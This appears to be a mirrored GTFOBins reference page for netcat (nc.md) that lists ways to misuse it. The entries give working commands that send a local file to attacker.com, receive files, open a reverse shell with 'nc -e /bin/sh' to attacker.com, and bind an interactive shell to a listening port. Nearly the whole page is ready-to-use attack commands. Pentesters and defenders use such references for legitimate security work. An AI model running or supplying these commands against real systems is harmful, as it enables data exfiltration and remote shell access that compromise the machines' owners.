1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 02:42:45 +02:00
GTFOBins.github.io/_gtfobins/nc.md
2018-05-25 15:30:02 +02:00

934 B

functions
upload download reverse-shell-interactive bind-shell-interactive
description code
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_send nc $RHOST $RPORT < "$LFILE"
description code
Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. LPORT=12345 LFILE=where_to_save nc -l -p $LPORT > "$LFILE"
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 nc -e /bin/sh $RHOST $RPORT
description code
Run `nc target.com 12345` on the attacker box to connect to the shell. LPORT=12345 nc -l -p $LPORT -e /bin/sh